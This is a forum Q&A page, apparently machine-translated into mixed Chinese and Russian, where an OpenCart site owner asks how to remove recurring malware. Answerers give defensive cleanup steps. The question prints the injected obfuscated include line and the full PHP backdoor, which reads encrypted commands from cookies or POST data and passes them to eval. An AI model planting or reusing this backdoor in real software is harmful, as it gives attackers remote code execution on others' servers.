RError.com

RError.com Logo RError.com Logo

RError.com Navigation

  • 主页

Mobile menu

Close
  • 主页
  • 系统&网络
    • 热门问题
    • 最新问题
    • 标签
  • Ubuntu
    • 热门问题
    • 最新问题
    • 标签
  • 帮助
主页 / 问题 / 666697
Accepted
Abmin
Abmin
Asked:2020-05-16 19:00:12 +0000 UTC2020-05-16 19:00:12 +0000 UTC 2020-05-16 19:00:12 +0000 UTC

如何从网站中删除恶意代码

  • 772

你好。最近,我开始注意到当我打开我的网站时,会重定向到某种广告网站。我开始查看我的代码,在 index.php 中我发现了这样一行:

/*1d3ec*/

@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/

当我删除多余的部分时,我得到了某个文件的路径:

home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico

我找到了这个文件,打开它,然后:

在此处输入图像描述

好吧,我认为代码已从 index.php 和文件中删除.. 第二天出现了相同样式的新代码和新文件,只是在不同的文件夹中。如何从这种感染中清除网站?

引擎:Opencart 2.1.0.1

仅安装的模块:Marketplace、Ajax Product Page Loader、[OCJazz] SeoPro、uLogin - 面板。修饰符:iSenseLabs 的本地副本 OCMOD,oc2011+ 的 Easy Blog Simple。

更改了托管密码,将 index.php 文件的属性设置为“只读”,但没有帮助。也许有人遇到过这个。感谢您阅读到最后!

UPD:病毒仍然存在,我已经清除了很多次。我决定看看恶意代码里面有什么,我请求那些能从下面的代码中理解漏洞所在的人的帮助,因为我自己熟悉 PHP 还不到一年。

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

$data = NULL;
$data_key = NULL;

$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;


if (!function_exists('file_put_contents'))
{
    function file_put_contents($n, $d, $flag = False)
    {
        $mode = $flag == 8 ? 'a' : 'w';
        $f = @fopen($n, $mode);
        if ($f === False)
        {
            return 0;
        }
        else
        {
            if (is_array($d)) $d = implode($d);
            $bytes_written = fwrite($f, $d);
            fclose($f);
            return $bytes_written;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($filename)
    {
        $fhandle = fopen($filename, "r");
        $fcontents = fread($fhandle, filesize($filename));
        fclose($fhandle);

        return $fcontents;
    }
}
function cs_get_current_filepath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function cs_decrypt($data, $key)
{
    global $cs_auth;

    return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
    global $cs_auth;

    return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}

function cs_get_plugin_config()
{
    $self_content = @file_get_contents(cs_get_current_filepath());

    $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
    if ($config_pos !== FALSE)
    {
        $config = substr($self_content, $config_pos + 32);
        $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
    }
    else
    {
        $plugins = Array();
    }

    return $plugins;
}

function cs_set_plugin_config($plugins)
{
    $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
    $self_content = @file_get_contents(cs_get_current_filepath());

    $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
    if ($config_pos !== FALSE)
    {
        $config_old = substr($self_content, $config_pos + 32);
        $self_content = str_replace($config_old, $config_enc, $self_content);

    }
    else
    {
        $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
    }

    @file_put_contents(cs_get_current_filepath(), $self_content);
}

function cs_plugin_add($name, $base64_data)
{
    $plugins = cs_get_plugin_config();

    $plugins[$name] = base64_decode($base64_data);

    cs_set_plugin_config($plugins);
}

function cs_plugin_rem($name)
{
    $plugins = cs_get_plugin_config();

    unset($plugins[$name]);

    cs_set_plugin_config($plugins);
}

function cs_plugin_load($name=NULL)
{
    foreach (cs_get_plugin_config() as $pname=>$pcontent)
    {
        if ($name)
        {
            if (strcmp($name, $pname) == 0)
            {
                eval($pcontent);
                break;
            }
        }
        else
        {
            eval($pcontent);
        }
    }
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

if (isset($data['ak']) && $cs_auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '2.0-1',
            'ak' => $data['ak'],
        );
        echo @serialize($i);
        exit;
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
    elseif ($data['a'] == 'plugin')
    {
        if($data['sa'] == 'add')
        {
            cs_plugin_add($data['p'], $data['d']);
        }
        elseif($data['sa'] == 'rem')
        {
            cs_plugin_rem($data['p']);
        }
    }
    echo $data['ak'];

}

cs_plugin_load();
}

UPD 2: 我只是查看了其中一个站点上的日志,这就是那里的内容

在此处输入图像描述

php
  • 4 4 个回答
  • 10 Views

4 个回答

  • Voted
  1. Best Answer
    bukkojot
    2020-08-21T00:04:45Z2020-08-21T00:04:45Z

    让我们从简单的事实开始。病毒是驻留在某处并执行导致其繁殖的某种程序。

    病毒以某种方式进入您的服务器。这可能是服务器上使用的软件的一个漏洞(而且这远不是 Opencart 的罪魁祸首,更重要的是,那里是否使用许可副本根本无关紧要),主机软件,你的主机来自您管理网站的位置。利用这个漏洞,恶意代码可以访问理论上它不应该访问的地方。

    而且,获得访问权限后,病毒通常会进一步繁殖。它不关心你在哪里工作,使用什么许可证,你托管了多少站点等等,它会分散到它可以到达的任何地方。因此,如果您只有 1 个泄漏文件,那么服务器上的所有文件都存在风险。

    怎么办:修复后果,进行备份,如果经常发生 - 自动滚动备份,至少每小时一次。find实用程序将在搜索更改的文件方面发挥很好的grep作用mc。但这不是治病,而是治标。

    如何捕捉:首先尝试定位问题。关闭站点上的所有内容,例如网络服务器。那些。如果有 FTP 服务器,请将其关闭,这样即使您也无法登录,邮件、ssh 和其他不监听 127.0.0.1 的服务也是如此。如果奇迹继续存在——我们会关闭网络服务器(网站会撒谎),但打开 FTP 和其他一切,等待奇迹再次出现。如果在那之后奇迹继续存在,那么很可能是不正当的主机负责,或者你有一个复杂的问题。

    找到问题的根源后,我们尝试更准确地定位问题。如果 Web 服务器打开时出现奇迹,那么我们配置 Web 服务器以维护详细日志并将它们写入非标准位置的某个地方,但最好立即将它们合并到远程主机。当奇迹开始时,再看看日志,某处会有一些有趣和不寻常的东西。这是不寻常的,有一个洞。

    如果洞在web服务器外面,那你可以试试重炮之类tcpdump的,迟早会被动物撞上的。这里最主要的是储备大量的磁盘空间。如果动物也没有在这里遇到,那么主人有你,或者在前面段落的某个地方没有引起注意。

    找到一个洞后,就已经知道要修复/更新什么,并且没有公开的算命。通常,最好通知作者他们的软件存在漏洞,他们会尽快修复它(如果作者是我们的同胞,那么除了粗鲁和威胁,你什么也得不到回报)并向您发送更正后的版本。

    当然,这样的 safari 与站点的正常运行不兼容,但它很有趣并且会给出结果。

    • 13
  2. Vladimir Novopashin
    2020-08-21T20:57:09Z2020-08-21T20:57:09Z

    Вообще, причиной всего этого является 100% не этот найденный вами файл. С подобными скриптами сталкивался не раз, но на Wordpress (отчего его и недолюбливаю). Суть там примерно такая - один раз находится дырка в вашем сайте (скорее всего просто подобрали ftp пароль), затем заливается обычный файл, предоставляющий доступ к редактированию файлов (есть какой-то легковесный редактор файлов, там буквально 40-50 строчек, даже пароля не просит), а затем уже все "грязные" скрипты заливаются через него, так что искать вам надо именно такой файл. Открывать AccessLog и смотреть к каким файлам обращаются. Антивирусы хостингов (тем более Касперского, т.к. он не ориентирован на php) этот файл не распознают как вирусный, т.к. он вполне логичен - т.к. там никаких кракозябр, preg_replace и прочего.

    • 5
  3. Dima Vasiluk
    2020-08-23T18:42:11Z2020-08-23T18:42:11Z

    Думаю, первое, что нужно сделать на время ремонта - это просканировать сканером уязвимости, хотя бы тулзой Nikto.

    https://www.youtube.com/watch?v=U9FQlZDtPV4

    Далее сменить все ключи, абсолютно все управляющие ключи. Написать хостеру о проблеме если хостинг, если VDS просканировань систему и понять насколько все плохо. Если руткит или червь, менять сервер. В этом помогут логи, и команды grep,find и top.

    После переезда и закрытия сайта начать чистить код, в идеале сделать образ и снимок состояния, провести скан уязвимостей, портировать образ на локаль и попробовать вытащить данные, после чистки закрыть уязвимость которую выдал CVE. Все это нужно сделать обязательно. Так как у вас простая проблема, вы чистите вирус, но не закрываете уязвимость. После того, как вы проделаете все это, советую поставить IDS/IPS. Самая известная: https://www.mcafee.com/ru/products/network-security-platform.aspx.

    Эта система позволит вам отследить, сделал ли это инсайдер. Так же советую регулярно делать обновления систем. Если система свежая, то советую написать об уязвимости её авторам.

    • 5
  4. hardworm
    2020-08-24T02:23:40Z2020-08-24T02:23:40Z

    Пока лучшая, на мой взгляд, статья по лечению на хабре https://habrahabr.ru/post/188878/

    С вероятностью 90% это заражение на уровне эксплуатации известных дырок в CMS. Если CMS позволяет то лучше "экспорт всего" -> "новая установка cms со всеми патчами безопасности" -> "импорт всего". Но к сожалению такое редко возможно.

    Обычно я делаю так:

    1. Получение ssh доступа
    2. Смена всех остальных доступов (и временный бан всех привелигированых пользователей)
    3. Бекап логов и утягивание их к себе для анализа
    4. Весь сайт бекапим (обязательно что бы сохранялись даты и права) и желательно запихиваем в GIT
    5. Поиск shell сканерами и антивирусами в автоматическом режиме (только список shell или зараженных файлов)
    6. Поиск подозреваемых на shell по статье на хабре (только список)
    7. Поиск менявшихся файлов по дате, по логам (get запросы к shell остаются - надо искать по доступу к ним и по ip туда ходившим)
    8. 查找干净的 CMS(旧副本)和当前版本之间的差异
    9. 搜索感染点(这时候我们已经掌握了很多信息,并且更容易)
    10. 通过在 GIT 中检查和提交进行清理(甚至用未感染的核心替换 CMS 核心)
    11. 漏洞修复(CMS 更新或错误修复)
    12. 正确设置日志记录、文件和文件夹的权限、备份、软件更新(如果是 vps 或硬件)、设置自动扫描仪或防病毒软件。
    13. 更改所有访问权限。
    14. 观察患者一段时间(有 1 次他们无法清理所有东西,或者没有日志,或者没有找到每个人)。
    • 4

相关问题

Sidebar

Stats

  • 问题 10021
  • Answers 30001
  • 最佳答案 8000
  • 用户 6900
  • 常问
  • 回答
  • Marko Smith

    Python 3.6 - 安装 MySQL (Windows)

    • 1 个回答
  • Marko Smith

    C++ 编写程序“计算单个岛屿”。填充一个二维数组 12x12 0 和 1

    • 2 个回答
  • Marko Smith

    返回指针的函数

    • 1 个回答
  • Marko Smith

    我使用 django 管理面板添加图像,但它没有显示

    • 1 个回答
  • Marko Smith

    这些条目是什么意思,它们的完整等效项是什么样的

    • 2 个回答
  • Marko Smith

    浏览器仍然缓存文件数据

    • 1 个回答
  • Marko Smith

    在 Excel VBA 中激活工作表的问题

    • 3 个回答
  • Marko Smith

    为什么内置类型中包含复数而小数不包含?

    • 2 个回答
  • Marko Smith

    获得唯一途径

    • 3 个回答
  • Marko Smith

    告诉我一个像幻灯片一样创建滚动的库

    • 1 个回答
  • Martin Hope
    Air 究竟是什么标识了网站访问者? 2020-11-03 15:49:20 +0000 UTC
  • Martin Hope
    Алексей Шиманский 如何以及通过什么方式来查找 Javascript 代码中的错误? 2020-08-03 00:21:37 +0000 UTC
  • Martin Hope
    Qwertiy 号码显示 9223372036854775807 2020-07-11 18:16:49 +0000 UTC
  • Martin Hope
    user216109 如何为黑客设下陷阱,或充分击退攻击? 2020-05-10 02:22:52 +0000 UTC
  • Martin Hope
    Qwertiy 并变成3个无穷大 2020-11-06 07:15:57 +0000 UTC
  • Martin Hope
    koks_rs 什么是样板代码? 2020-10-27 15:43:19 +0000 UTC
  • Martin Hope
    user207618 Codegolf——组合选择算法的实现 2020-10-23 18:46:29 +0000 UTC
  • Martin Hope
    Sirop4ik 向 git 提交发布的正确方法是什么? 2020-10-05 00:02:00 +0000 UTC
  • Martin Hope
    faoxis 为什么在这么多示例中函数都称为 foo? 2020-08-15 04:42:49 +0000 UTC
  • Martin Hope
    Pavel Mayorov 如何从事件或回调函数中返回值?或者至少等他们完成。 2020-08-11 16:49:28 +0000 UTC

热门标签

javascript python java php c# c++ html android jquery mysql

Explore

  • 主页
  • 问题
    • 热门问题
    • 最新问题
  • 标签
  • 帮助

Footer

RError.com

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

帮助

© 2023 RError.com All Rights Reserve   沪ICP备12040472号-5